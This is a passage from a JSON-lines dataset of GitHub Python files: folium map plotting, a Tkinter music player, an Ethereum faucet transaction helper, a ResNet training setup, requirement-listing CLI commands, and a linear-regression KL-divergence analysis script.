SIZE/ratio),\n icon_anchor=(anchor_x, anchor_y),\n popup_anchor=(15, 10),\n )\n os.chdir(\"../\")\n return icon\n\ndef plotLabel(m, location, name, res, fg_chart, position,chart):\n location_res = [location[0]-.015*position, location[1]+.005*position]\n location_name = [location[0]-.0060, location[1]+.01]\n folium.Marker(location=location_name,\n popup=chart,\n icon=folium.DivIcon(html=name,\n class_name=\"mapText\"),\n ).add_to(fg_chart)\n if res == 'nan':\n pass\n else:\n folium.Marker(location=location_res,\n popup=chart,\n icon=folium.DivIcon(html=res,\n class_name=\"mapText\"),\n ).add_to(fg_chart)\n \ndef createGroups(m):\n #create groups\n charts_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='CARTA_COORD'))\n rwy_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='PISTAS'))\n submaps_name = []\n submaps_rwy = []\n submapsFG = []\n charts_dic = {}\n rwyFG = {}\n \n #iterates over charts dataframe and update values of variables\n for index, row in charts_df.iterrows():\n submaps_name.append(row.iloc[0])\n charts_dic.update({row.iloc[0]: row.iloc[1]})\n print(submaps_name)\n #iterates over rwys dataframe and update values of rwys available\n for index, row in rwy_df.iterrows():\n submaps_rwy.append(row.iloc[0])\n print(submaps_rwy)\n \n #create map for ADs\n rwyFG.update({\"Aerodromos\":folium.FeatureGroup(name='Aeródromos', show=True)}) \n m.add_child(rwyFG.get(\"Aerodromos\"))\n \n #create map for RWYs\n for rwy in submaps_rwy:\n if rwy == \"SBCF 16\" or rwy == \"SBBH 13\":\n isVisible = True\n else:\n isVisible = False\n group = folium.FeatureGroup(name=rwy, show=isVisible)\n rwyFG.update({rwy: group})\n m.add_child(group)\n print(submaps_rwy)\n \n #create submap for charts\n for submap in submaps_name:\n subgroup = FeatureGroupSubGroup(group=rwyFG.get(charts_dic.get(submap)),name=submap, show=True)\n submapsFG.append(subgroup) \n m.add_child(subgroup)\n print(submapsFG)\n \n\n #populate groups\n plotTMA(m)\n plotAD(m, rwyFG.get(\"Aerodromos\"))\n plotCharts(m, submapsFG)\n","repo_name":"duduferrer/mapas-tmabh","sub_path":"mapPlotting.py","file_name":"mapPlotting.py","file_ext":"py","file_size_in_byte":5088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"4903291577","text":"from pathlib import Path\nimport time\nimport tkinter as tk \nfrom tkinter import ttk\nimport pygame\n\nPAUSED = \"PAUSED\"\nPLAYING = \"PLAYING\"\nSTOPPED = \"STOPPED\"\n\n\nclass MusicPlayer(ttk.Frame):\n \n def __init__(self,root):\n super().__init__(root)\n pygame.init()\n pygame.mixer.init()\n self.track = tk.StringVar()\n self.status = tk.StringVar()\n self.status.set(STOPPED)\n self.resizable=(True,True)\n self.songs: list[str] = list()\n #Frame for running track\n trackframe = ttk.Frame(self,relief=tk.GROOVE)\n trackframe.place(x=0,y=0,width=500,height=40)\n trackframe.pack(side=tk.RIGHT,fill=tk.BOTH,expand=1,padx=2,pady=2)\n ttk.Label(trackframe,\n textvariable=self.track,\n width=40,\n font=(\"Arial\",14)).grid(row=0,column=0,columnspan=3,padx=5,pady=5)\n\n ttk.Label(trackframe,\n textvariable=self.status,\n font=(\"Arial\",12)).grid(row=1,column=0,columnspan=3,padx=5,pady=5,sticky=tk.NE)\n self.progressbar = ttk.Progressbar(trackframe,\n length=300,\n maximum=100,\n orient=\"horizontal\",\n mode=\"determinate\")\n self.progressbar.grid(column = 0,row=2,columnspan=3,padx=10,pady=10)\n\n #frame for buttons\n buttonframe = ttk.Frame(self,relief=tk.GROOVE)\n buttonframe.place(x=0,y=100,width=500,height=30)\n buttonframe.pack(side=tk.TOP,fill=tk.X,expand=1,padx=2,pady=2)\n ttk.Button(buttonframe,\n text=\"PLAYSONG\",\n command=self.playsong,\n width=10).grid(row=0,column=0,padx=2,pady=2)\n\n ttk.Button(buttonframe,\n text=\"STOPSONG\",\n command=self.stopsong,\n width=10).grid(row=0,column=1,padx=2,pady=2)\n ttk.Button(buttonframe,\n text=\"NEXT SONG\",\n command=self.nextsong,\n width=10).grid(row=0,column=2,padx=2,pady=2)\n \n #frame for Playlist\n songsframe = ttk.Frame(self,relief=tk.GROOVE)\n songsframe.place(x=400,y=0,width=300,height=40)\n songsframe.pack(side=tk.LEFT,fill=tk.BOTH,expand=1,padx=2,pady=2)\n scrol_y = tk.Scrollbar(songsframe,orient=tk.VERTICAL,relief=tk.GROOVE)\n scrol_x = tk.Scrollbar(songsframe,orient=tk.HORIZONTAL,relief=tk.GROOVE)\n self.playlist = tk.Listbox(songsframe,\n yscrollcommand=scrol_y.set,\n xscrollcommand=scrol_y.set,\n selectbackground=\"gold\",\n selectmode=tk.SINGLE,\n font=(\"Arial\",12),\n bg=\"white\",\n fg=\"blue\",\n bd=5,\n relief=tk.GROOVE)\n scrol_y.pack(side=tk.RIGHT,fill=tk.BOTH)\n scrol_y.config(command=self.playlist.yview)\n scrol_x.pack(side=tk.BOTTOM,fill=tk.BOTH)\n scrol_x.config(command=self.playlist.xview)\n self.playlist.pack(fill=tk.BOTH,side=tk.RIGHT,expand=1,padx=2,pady=2)\n \n self.grid_columnconfigure(index=0,weight=1,minsize=100)\n self.grid_columnconfigure(index=1,weight=1,minsize=100)\n \n \n def nextsong(self):\n \"\"\"loads next song in playlist\"\"\"\n \n \n active = self.playlist.get(tk.ACTIVE)\n if active is None:\n self.stopsong()\n \n current_song_index = self.playlist.get(0,tk.END).index(active)\n del self.songs[current_song_index]\n self.playlist.delete(current_song_index)\n self.playlist.activate(current_song_index-1)\n \n if self.playlist.get(current_song_index-1) is None:\n print(\"next element is None\")\n self.stopsong()\n self.playlist.delete(current_song_index)\n else: \n self.playsong()\n \n def append_song(self,track:str):\n \"\"\"adds a song to the playlist and to pathnames(self.songs)\"\"\"\n self.songs.append(track)\n self.playlist.insert(tk.END,self.song_name_from_path(track))\n\n def song_name_from_path(self,path:str):\n #split of folder structure\n return \"\".join(path.split(\"/\")[3:])\n \n def playsong(self):\n \"\"\"find the selected index and play corresponding song\"\"\"\n selected_song = self.playlist.get(tk.ACTIVE)\n songs = self.playlist.get(0,tk.END)\n if selected_song in songs:\n current_song_index = songs.index(selected_song)\n else: \n self.track.set(\"\")\n return\n active_song=self.songs[current_song_index] \n if not Path(active_song).is_file():\n self.track.set(\"\")\n return\n self.track.set(selected_song)\n self.status.set(PLAYING)\n \n #save time of current song\n sound = pygame.mixer.Sound(active_song)\n self.track_time = sound.get_length() \n # load song\n pygame.mixer.music.load(active_song)\n #overwrite start time\n self.start_time = time.time()\n self.after(2300, self.update_progress)\n pygame.mixer.music.play()\n \n \n def stopsong(self):\n self.status.set(STOPPED)\n pygame.mixer.music.stop()\n \n \n def update_progress(self):\n if self.progressbar is None:\n print(\"progressbar is not available\")\n return\n \n new_value = time.time() - self.start_time\n progress_percent = (new_value / self.track_time) * 100\n if progress_percent >= 98.0:\n progress_percent = 100.0\n \n # Update the progress bar\n self.progressbar[\"value\"] = int(progress_percent)\n \n self.after(2300, self.update_progress)\n\n \n","repo_name":"MorsCerta-crypto/KaraokeMaker","sub_path":"karaoke-maker/gui/music_player.py","file_name":"music_player.py","file_ext":"py","file_size_in_byte":6050,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"7540338973","text":"import configobj\n\nconfig = configobj.ConfigObj('.env')\npublicKey = config['publicKey']\nprivateKey = config['privateKey']\nrecentTransactions = []\n\n\ndef sendTransaction(w3, to_address):\n nonce = w3.eth.getTransactionCount(publicKey)\n # gasPrice = w3.toWei('50', 'gwei')\n value = w3.toWei(0.1, 'ether')\n tx = {\n 'nonce': nonce,\n 'to': to_address,\n 'value': value,\n 'gas': 2000000,\n 'gasPrice': 0\n }\n # sign the transaction\n signed_tx = w3.eth.account.sign_transaction(tx, privateKey)\n # send transaction\n tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)\n tx_hash = w3.toHex(tx_hash)\n return tx_hash\n","repo_name":"meullah/crypto-faucet","sub_path":"tx.py","file_name":"tx.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"31669480282","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl import logging\nimport attr\nimport tensorflow.compat.v2 as tf\nfrom tensorflow.compat.v2.keras.optimizers import SGD\nimport tensorflow_probability as tfp\n\nfrom uq_benchmark_2019.imagenet import learning_rate_lib\nfrom uq_benchmark_2019.imagenet import resnet50_model\n\nkeras = tf.keras\ntfd = tfp.distributions\n\nMETHODS = ['vanilla', 'll_dropout', 'll_svi', 'dropout', 'svi',\n 'dropout_nofirst']\n\n\n@attr.s\nclass ModelOptions(object):\n \"\"\"Parameters for model construction and fitting.\"\"\"\n # Modeling options\n method = attr.ib()\n # Data options\n image_shape = attr.ib()\n num_classes = attr.ib()\n examples_per_epoch = attr.ib()\n validation_size = attr.ib()\n use_bfloat16 = attr.ib()\n # SGD Options.\n train_epochs = attr.ib()\n batch_size = attr.ib()\n dropout_rate = attr.ib() # Only used for dropout-based methods.\n init_learning_rate = attr.ib()\n # VI options.\n std_prior_scale = attr.ib()\n init_prior_scale_mean = attr.ib()\n init_prior_scale_std = attr.ib()\n num_updates = attr.ib()\n # TPU/GPU\n use_tpu = attr.ib()\n num_cores = attr.ib()\n num_gpus = attr.ib()\n num_replicas = attr.ib()\n tpu = attr.ib()\n\n\ndef build_model(opts):\n \"\"\"Builds a ResNet keras.models.Model.\"\"\"\n return resnet50_model.ResNet50(\n opts.method, opts.num_classes, opts.num_updates, opts.dropout_rate)\n\n\ndef build_and_train(opts, dataset_train, dataset_eval, output_dir, metrics):\n \"\"\"Returns a trained image model and saves it to output_dir.\n\n Args:\n opts: ModelOptions\n dataset_train: tf.data.Dataset for training.\n dataset_eval: tf.data.Dataset for continuous eval during training.\n output_dir: Directory for the saved model.\n metrics: Train/eval metrics to track.\n Returns:\n Trained Keras model.\n \"\"\"\n model = build_model(opts)\n logging.info('Compiling model.')\n model.compile(\n optimizer=SGD(\n learning_rate=learning_rate_lib.BASE_LEARNING_RATE,\n momentum=0.9, nesterov=True),\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=metrics)\n\n tensorboard_cb = keras.callbacks.TensorBoard(\n log_dir=output_dir, write_graph=False)\n\n bs = opts.batch_size\n training_steps_per_epoch = opts.examples_per_epoch // bs\n\n lr_schedule_cb = learning_rate_lib.LearningRateBatchScheduler(\n schedule=learning_rate_lib.learning_rate_schedule_wrapper(\n training_steps_per_epoch))\n # checkpoint_cb = tf.keras.callbacks.ModelCheckpoint(\n # os.path.join(model_dir, 'cp_{epoch:04d}.ckpt'), save_weights_only=True,\n # verbose=1)\n\n model.fit(\n dataset_train,\n steps_per_epoch=training_steps_per_epoch,\n epochs=opts.train_epochs,\n validation_data=dataset_eval,\n validation_steps=int(opts.validation_size // opts.batch_size),\n callbacks=[tensorboard_cb, lr_schedule_cb],\n validation_freq=[10, 20, 30, 40, 50, 60, 70, 80, 90])\n return model\n","repo_name":"google-research/google-research","sub_path":"uq_benchmark_2019/imagenet/models_lib.py","file_name":"models_lib.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":31433,"dataset":"github-code","pt":"99"} +{"seq_id":"30423461456","text":"import logging\nimport os\n\nfrom aeromancer.db import models\nfrom aeromancer.requirements import models as req_models\nfrom aeromancer import project\nfrom aeromancer import utils\n\nfrom cliff.lister import Lister\n\nfrom sqlalchemy import distinct\nfrom sqlalchemy.orm import aliased\n\n\nclass List(Lister):\n \"\"\"List the requirements for a project\"\"\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(List, self).get_parser(prog_name)\n parser.add_argument(\n 'project',\n help=('project directory name under the project root, '\n 'for example: \"stackforge/aeromancer\"'),\n )\n return parser\n\n def take_action(self, parsed_args):\n session = self.app.get_db_session()\n query = session.query(req_models.Requirement).join(models.Project).filter(\n models.Project.name == parsed_args.project\n ).order_by(req_models.Requirement.name)\n return (('Name', 'Spec', 'File'),\n ((r.name, r.line.content.strip(), r.line.file.name)\n for r in query.all()))\n\n\nclass Uses(Lister):\n \"\"\"List the projects that use requirement\"\"\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(Uses, self).get_parser(prog_name)\n parser.add_argument(\n 'requirement',\n help='the dist name for the requirement',\n )\n return parser\n\n def take_action(self, parsed_args):\n session = self.app.get_db_session()\n query = session.query(req_models.Requirement).join(models.Project).filter(\n req_models.Requirement.name.ilike(parsed_args.requirement)\n ).order_by(models.Project.name)\n return (('Name', 'Spec', 'File'),\n ((r.project.name, r.line.content.strip(), r.line.file.name) for r in query.all()))\n\n\nclass Unused(Lister):\n \"\"\"List global requirements not used by any projects\"\"\"\n\n log = logging.getLogger(__name__)\n\n def take_action(self, parsed_args):\n session = self.app.get_db_session()\n used_requirements = session.query(distinct(req_models.Requirement.name))\n query = session.query(req_models.GlobalRequirement).filter(\n req_models.GlobalRequirement.name.notin_(used_requirements)\n ).order_by(req_models.GlobalRequirement.name)\n return (('Name', 'Spec'),\n ((r.name, r.line.content.strip()) for r in query.all()))\n\n\nclass Outdated(Lister):\n \"\"\"List requirements in projects that do not match the global spec\"\"\"\n\n log = logging.getLogger(__name__)\n\n def take_action(self, parsed_args):\n session = self.app.get_db_session()\n used_requirements = session.query(distinct(req_models.Requirement.name))\n global_line = aliased(models.Line)\n project_line = aliased(models.Line)\n query = session.query(req_models.Requirement,\n models.Project,\n global_line,\n project_line,\n req_models.GlobalRequirement).filter(\n req_models.Requirement.project_id == models.Project.id,\n req_models.Requirement.name == req_models.GlobalRequirement.name,\n project_line.id == req_models.Requirement.line_id,\n global_line.id == req_models.GlobalRequirement.line_id,\n project_line.content != global_line.content,\n ).order_by(models.Project.name, req_models.Requirement.name)\n return (('Project', 'Local', 'Global'),\n ((r[1].name, r[3].content.strip(), r[2].content.strip())\n for r in query.all()))\n","repo_name":"dhellmann/aeromancer","sub_path":"aeromancer/requirements/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"28762857203","text":"#!/usr/bin/python3\n\nimport argparse\nimport os\nimport sys\nimport copy\nfrom datetime import datetime\n\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import f as Fdist\n\nfrom stcgelDL.blddsddata import logMatrix\nfrom predictor.utility import msg2log\nfrom simTM.auxapi import dictIterate,listIterate\nfrom clustgelDL.auxcfg import D_LOGS,listLogSet, closeLogs,log2All,exec_time,logList\nfrom stcgelDL.cfg import GlobalConst\nfrom stcgelDL.blddsddata import logMatrix\n\nH1=1\nH2=0\nD_HYPO={H1:\"H1\",H2:\"H2\"}\n\n__version__ =\"0.0.1\"\n\ndef parsing():\n # command-line parser\n sDescriptor = 'Information Criterions for linear regression parameters estimation for several samples ' + \\\n 'of the (green) electricity load processes'\n sModehelp = \"Modes: k-categories classification of regression models (kcc) and \" + \\\n \"k-categories classification with 2 groups of regression coefficients (kcc2)\"\n sRpshelp = \"Absolute path to a dataset repository (folder).\"\n sDshelp = \"List of dataset names/A string contains the comma-separated file names in the dataset repository \" +\\\n \"without file extensions( .csv)\"\n\n sEndogenTSnameHelp = \"Endogenous Variable (column name) in the datasets.\"\n sExogenTSnameHelp = \"All Exogenous Variables. A string contains the comma-separated the column names in the \" + \\\n \"datasets. \"\n sExclExogenTSnameHelp = \"The Exogenous Variables for which statistical hypothesa about zero parameters is tested.\"\n sTimeStampHelp = \"Time Stamp (column) name in the datasets.\"\n sWWidthHelp = \"Window width for endogenous variable plotting.\"\n sAlfaHelp = \"Significal level (alfa), a probability threshold below which the tested hypothesis will be rejected.\"\n parser = argparse.ArgumentParser(description=sDescriptor)\n\n parser.add_argument('-m', '--mode', dest='cl_mode', action='store', default=\"kcc\", help=sModehelp)\n parser.add_argument('-r', '--repository', dest='cl_rps', action='store', help=sRpshelp)\n parser.add_argument('-d', '--datasets', dest='cl_ds', action='store', default=\"low_co2,mid_co2, high_co2\",\n help=sDshelp)\n parser.add_argument('-e', '--endogen', dest='cl_endog', action='store', default='CO2',\n help=sEndogenTSnameHelp)\n parser.add_argument('-x', '--exogen', dest='cl_exogs', action='store', default=\"Diesel_Power, Pump_Power\",\n help=sExogenTSnameHelp)\n parser.add_argument('-l', '--exclude', dest='cl_exclexogs', action='store', default=\"Pump_Power\",\n help=sExclExogenTSnameHelp)\n parser.add_argument('--timestamp', dest='cl_timestamp', action='store', default='Date Time',\n help=sTimeStampHelp)\n parser.add_argument('-w','--width_plot', dest='cl_wwidth', action='store', default='512',\n help=sWWidthHelp)\n parser.add_argument('-a', '--alfa', dest='cl_alfa', action='store', default='0.05',\n help=sAlfaHelp)\n parser.add_argument('--verbose', '-v', dest='cl_verbose', action='count', default=0)\n parser.add_argument('--version', action='version',\n version='%(prog)s {}'.format(__version__))\n\n args = parser.parse_args()\n GlobalConst.setVerbose(args.cl_verbose)\n # command-line parser\n arglist = sys.argv[0:]\n argstr = \"\"\n for arg in arglist:\n argstr += \" \" + arg\n message0 = f\"\"\" Command-line arguments\n\n {argstr}\n\nMode : {args.cl_mode}\nRepository path : {args.cl_rps}\nDatasets : {args.cl_ds}\nEndogenious factors in datasets : {args.cl_endog}\nExogenious factors in datasets : {args.cl_exogs}\nExcluded Exogenious factors : {args.cl_exclexogs}\nTimestamp in dataset : {args.cl_timestamp}\nWindow width for Endogenous plotting: {args.cl_wwidth} \nSignificant level : {args.cl_alfa} \n \"\"\"\n return args, message0\n\n\n\n\n\n\"\"\" An input data lists contains a list of the input matrices (observation matrices) and a list of the output vectors. \nAll input matrices have the same number of the features (column numbers) and different number of the rows. The number \nof rows in the each matrix should be equival to the size of according output vector.\nThe checkInputDataValid()-function checks these requirements and returns a status and a tuple of calculated parameters.\nThe status is 0 for valid data, else -1.\nThe tuple contains (k,listN,p,n) , where k- is a number of categories (the number of the matrices and vectors),\nlisteN - is a list of the rows amountnumber of observations.\n\"\"\"\ndef checkInputDataValid(lstX:list=None,lstY:list=None,f:object=None)->(int,tuple):\n \"\"\"\n\n :param lstX:\n :param lstY:\n :param f:\n :return: int, (int,list, int,int)\n \"\"\"\n ret=-1\n rettuple=(-1,[],-1,-1)\n if lstX is None or lstY is None:\n msg = \"No input lists of arrays\"\n msg2log(None, msg, f)\n return ret,rettuple\n\n if not lstX or not lstY:\n msg = \"Empty input lists of arrays\"\n msg2log(None, msg, f)\n return ret,rettuple\n\n k=len(lstX)\n k1=len(lstY)\n\n if (k1 != k):\n msg = \"The input lists have a different naumber items: {} vs {}\".format(k,k1)\n msg2log(None, msg, f)\n return ret,rettuple\n lstP=[]\n lstN=[]\n lstNy=[]\n for item in lstX:\n X:np.array=item\n (n,p)=X.shape\n lstP.append(p)\n lstN.append(n)\n for item in lstY:\n y:np.array=item\n (n,)=y.shape\n lstNy.append(n)\n p=lstP[0]\n for i in range(len(lstP)):\n if p!=lstP[i]:\n msg=\"The feature nimbers are different: {} vs {}\".format(p,lstP[i])\n msg2log(None,msg,f)\n return ret,rettuple\n if lstN!=lstNy:\n msg=\"Different sample sizes:\\n{}\\n{}\".format(lstN,lstNy)\n msg2log(None, msg, f)\n return ret,rettuple\n rettuple=(k,lstN,p,sum(lstN))\n ret=0\n\n return ret,rettuple\n\n\n\ndef invs(title:str=None, S:np.array=None,f:object=None):\n\n if S is None :\n msg=\"3D array not found\"\n msg2log(\"invs\", msg, f)\n return None\n\n (k,p,p)=S.shape\n Sinv = np.zeros((k, p, p), dtype=float)\n for m in range(k):\n msg=\"\"\n try:\n d = np.linalg.det(S[m,:,:])\n message=\"Sample: {} Determinant: {}\".format(m,d)\n msg2log(None,message,f)\n Sinv[m,:,:] = np.linalg.inv(S[m,:,:])\n except ValueError as e:\n msg = \"O-o-ops! I got a ValueError - reason {}\\n{}\".format(str(e), sys.exc_info())\n except:\n msg = \"O-o-ops! I got an unexpected error - reason {}\\n\".format(sys.exc_info())\n finally:\n if len(msg) > 0:\n # msg2log(\"invs\", msg, D_LOGS[\"except\"])\n # log2All()\n msg2log(\"invs\", msg,f)\n return Sinv\n\ndef estb(title:str=None, Sinv:np.array=None, XtY:np.array=None, f:object=None)->np.array:\n if Sinv is None or XtY is None:\n msg=\"3D array not found\"\n return None\n\n (k,p,p)=Sinv.shape\n b= np.zeros((k, p), dtype=float)\n for m in range(k):\n b[m,:]=Sinv[m,:,:].dot(XtY[m,:])\n return b\n\n\n\"\"\"Kulback-Liebler divergence is a way to for statistical hypothesis testing for parameters of the linear models.\n \n\"\"\"\nclass kldivEst():\n def __init__(self,title:str=None, categories:list=None,k:int=2,p:int=2, n:int=16, lstX:list =None, lstY:list=None,\n endogenous:str=None,exogenous:list=None,exclexogenous:list=None,f:object=None):\n self.k:int = k # number of categories (observation matrices and outputs )\n self.p:int = p # number of the features in observation matrices.\n self.n:int = n # n - number of observations, n=n0+n1+... +nk-1\n self.lstX = lstX # list of observation matrices [0X(n0,p),1X(n1,p), ...,(k-1)X(nk-1,p)\n self.lstY = lstY # list of outputs [y(n0),...,Y(nk-1)\n self.f = f\n self.div = 0.0\n self.SH1 = np.zeros((self.k, self.p, self.p), dtype=float) # shape is (k,p,p)\n self.SH2 = np.zeros((1, self.p, self.p), dtype=float) # shape is (1,p,p)\n self.XtYH1 = np.zeros((self.k, self.p), dtype=float) # shape is (k,p)\n self.XtYH2 = np.zeros((1, self.p), dtype=float) # shape is (1,p)\n self.bH1 = np.zeros((self.k, self.p), dtype=float)\n self.bH2 = np.zeros((1, self.p), dtype=float)\n self.d_ANOVA = {}\n self.setTitles(title=title,categories=categories,endogenous=endogenous,exogenous=exogenous,\n exclexogenous=exclexogenous)\n\n self.hist=history()\n\n def setTitles(self,title:str=None,categories:list=None,endogenous:str=None,exogenous:list=None,\n exclexogenous:list=None):\n self.title = title\n if categories is not None: # the names of the categories (samples)\n self.categories = categories\n else:\n self.categories = [str(i) for i in range(self.k)]\n\n if endogenous is not None:\n self.endogenous=endogenous\n else:\n self.endogenous='Y'\n\n if exogenous is not None and len(exogenous)>0:\n self.exogenous=exogenous\n self.exogenous.insert(0,\"Intercept\")\n else:\n self.exogenous=['X'+str(i) for i in range(self.p)]\n\n if exclexogenous is not None and len(exclexogenous)>0:\n self.exclexogenous=exclexogenous\n else:\n self.exclexogenous= None\n return\n\n def fit(self,lstX:list =None, lstY:list=None ):\n self.lstX = lstX # list of observation matrices [0X(n0,p),1X(n1,p), ...,(k-1)X(nk-1,p)\n self.lstY = lstY # list of outputs [y(n0),...,Y(nk-1)\n self.lineq()\n self.linestimation()\n self.anova()\n self.hist.fill(hypothesis=H1,coef_reg=self.bH1)\n self.hist.fill(hypothesis=H2, coef_reg=self.bH2)\n self.approx()\n return self.hist\n\n def predict(self,x:np.array=None,hypothesis:int=H1,cat_ind:int=0)->np.array:\n if hypothesis==H1:\n y=x.dot(self.bH1[cat_ind,:])\n else:\n y = x.dot(self.bH2[0,:])\n return\n\n def approx(self):\n y_lstH1 = []\n y_lstH2 = []\n for m in range(self.k):\n y_lstH1.append(self.lstX[m].dot(self.bH1[m,:]))\n y_lstH2.append(self.lstX[m].dot(self.bH2[0, :]))\n self.hist.fill(hypothesis=H1,predicts=y_lstH1)\n self.hist.fill(hypothesis=H2,predicts=y_lstH2)\n return\n\n\n def lineq(self):\n\n for i in range(self.k):\n X: np.array = self.lstX[i]\n y: np.array = self.lstY[i]\n\n self.SH1[i, :, :] = X[:, :].T.dot(X[:, :])\n self.XtYH1[i, :] = X[:, :].T.dot(y[:])\n\n for m in range(self.k):\n for i in range(self.p):\n self.XtYH2[0, i] = self.XtYH2[0, i] + self.XtYH1[m, i]\n for j in range(self.p):\n self.SH2[0, i, j] = self.SH2[0, i, j] + self.SH1[m, i, j]\n return #S, XtY, SH2, XtYH2, N\n\n def linestimation(self):\n SinvH2 = invs(S=self.SH2, f=None)\n Sinv = invs(S=self.SH1, f=None)\n pass\n print(SinvH2)\n print(Sinv)\n E = np.zeros((1, self.p, self.p), dtype=float)\n E = SinvH2[0, :, :].dot(self.SH2[0, :, :])\n print(E)\n\n self.bH2 = estb(Sinv=SinvH2, XtY=self.XtYH2)\n self.bH1 = estb(Sinv=Sinv, XtY=self.XtYH1)\n\n print(np.round(self.bH2, 5))\n print(np.round(self.bH1, 5))\n return\n\n def anova(self):\n # H1\n ssH1 = 0.0\n ssH1df = self.p * self.k\n sst = 0.0\n sstdf = self.n\n for m in range(self.k):\n ssH1 += self.bH1[m, :].T.dot(self.SH1[m, :, :].dot(self.bH1[m, :]))\n y: np.array = self.lstY[m]\n sst += y.T.dot(y)\n sseH1 = sst - ssH1\n sseH1df = self.n - self.p * self.k\n sig2 = sseH1 / float(sseH1df)\n # H2\n ssH2 = self.bH2[0, :].T.dot(self.SH2[0, :, :].dot(self.bH2[0, :]))\n ssH2df = self.p\n ssbH2 = ssH1 - ssH2\n ssbH2df = self.p * (self.k - 1)\n mse: float = sseH1 / float(sseH1df)\n msb: float = ssbH2 / float(ssbH2df)\n\n F: float = msb / mse\n divKL = ssbH2 / sig2\n FdivKL = divKL / float(ssbH2df)\n crit = Fdist.ppf(q=1 - 0.05, dfn=ssbH2df, dfd=sseH1df)\n quantile = Fdist.ppf(FdivKL, dfn=ssbH2df, dfd=sseH1df)\n self.d_ANOVA = {\"H1\": {\"SS\": ssH1, \"SSdf\": ssH1df, \"SSE\": sseH1, \"SSEdf\": sseH1df, \"MSE\": mse, \"sig2\": sig2},\n \"H2\": {\"SS\": ssH2, \"SSdf\": ssH2df, \"SSB\": ssbH2, \"SSBdf\": ssbH2df, \"MSB\": msb, \"F\": F},\n \"Total\": {\"SST\": sst, \"SSTdf\": sstdf},\n \"divKL\": {\"J(H1,H2)\": divKL, \"F\": FdivKL, 'dfn': ssbH2df, 'dfd': sseH1df, \"CV\": crit,\n \"Q\": quantile}}\n\n return #d_ANOVA, F, ssbH2df, sseH1df\n\n def res2log(self):\n message=f\"\"\"\n{D_HYPO[H1]} - hepothesis\nRegression coefficients:\n{self.bH1}\n\n{D_HYPO[H2]} - hypothesis\nRegression coefficients:\n{self.bH2}\n\"\"\"\n msg2log(None,message,self.f)\n for m in range(self.k):\n msg=\"\\n\\n{}-hypothesis: {} sample\".format(D_HYPO[H1],self.categories[m])\n msg2log(None,msg,self.f)\n msg=\"{} = \".format(self.endogenous)\n for j in range(self.p):\n msg=msg + \" {:<+10.4f} * {} \".format(round(self.bH1[m,j],4),self.exogenous[j])\n msg2log(None,msg,self.f)\n\n msg=\"\\n\\n{}-hypothesis: \".format(D_HYPO[H2])\n msg2log(None,msg,self.f)\n msg = \"{} = \".format(self.endogenous)\n for j in range(self.p):\n msg = msg + \" {:<+10.4f} * {} \".format(round(self.bH2[0, j], 4), self.exogenous[j])\n msg2log(None, msg, self.f)\n return\n\nclass history(): #TODO\n def __init__(self):\n self.f = D_LOGS[\"train\"]\n self.history = {D_HYPO[H1]:{'coef_reg':None,'predicts':None}, D_HYPO[H2]:{'coef_reg':None,'predicts':None}}\n\n def fill(self,hypothesis:int=H1,coef_reg:np.array = None,predicts:list=None):\n if coef_reg is not None:\n self.history[D_HYPO[hypothesis]]['coef_reg'] =coef_reg\n if predicts is not None:\n self.history[D_HYPO[hypothesis]]['predicts']=predicts\n return\n\n\nclass linreg(): # TODO\n\n def __init__(self,name:str=\"\", X:np.array=None,y:np.array=None,f:object=None):\n self.X=copy.copy(X)\n self.y=copy.copy(y)\n (self.n,self.p) = self.X.shape\n self.S=np.zeros((self.p,self.p),dtype=float)\n self.XtY=np.zeros((self.p),dtype=float)\n self.sumsig2:float = 0.0\n self.f =f\n\n def estimate(self):\n XTX = self.X.T.dot(self.X)\n XTY = self.X.T.dot(self.y)\n d = np.linalg.det(XTX)\n XTXinv = np.linalg.inv(XTX)\n E = XTXinv.dot(XTX)\n A = XTXinv.dot(XTY)\n Y_pred = self.X.dot(A)\n Res = np.subtract(self.y, Y_pred)\n\ndef readData(title:str=\"data\",csv_file:str=None,endogen_col_name:str=\"CO2\",exogen_list:list=[\"Diesel_Power\"])->(np.array,np.array):\n df = pd.read_csv(csv_file)\n y = np.array(df[endogen_col_name])\n y_mean = y.mean()\n m = len(exogen_list)\n\n X = np.ones((len(df), len(exogen_list)+1), dtype=float)\n for i in range(len(exogen_list)):\n X[:, i+1] = df[exogen_list[i]]\n X_mean = X.mean(0)\n msg2log(None,\"{} Output mean {} Input means {}\".format(title,y_mean,X_mean, f=None))\n return y,X\n\ndef joinYX(y:np.array, X:np.array)->np.array:\n n,=y.shape\n (n,p)=X.shape\n Z=np.zeros((n,p+1),dtype=float)\n Z[:,0]=y\n Z[:,1:]=X\n return Z\n\ndef main(argc, argv):\n args,message0 =parsing()\n\n now = datetime.now()\n date_time = now.strftime(\"%d_%m_%y__%H_%M_%S\")\n message1 = \"Time execution logging started at {}\\n\\n\".format(datetime.now().strftime(\"%d %m %y %H:%M:%S\"))\n\n mode=args.cl_mode\n if mode=='kcc':\n mode_name=\"K-categories linear models classification\"\n elif mode=='kcc2':\n mode_name=\"K-categories linear models classification with 2 groups of hegression coefficients\"\n print(\"{} is not implemented in current version {}. Exit ...\".format(mode_name,__version__))\n sys.exit(-2)\n else:\n print(\"Invalid mode. Must be 'kcc' or kcc2'. Exit ...\")\n sys.exit(-1)\n\n dsRepository=args.cl_rps\n ds_list=list(args.cl_ds.split(','))\n exogen_list = list(args.cl_exogs.split(','))\n exclexogen_list = 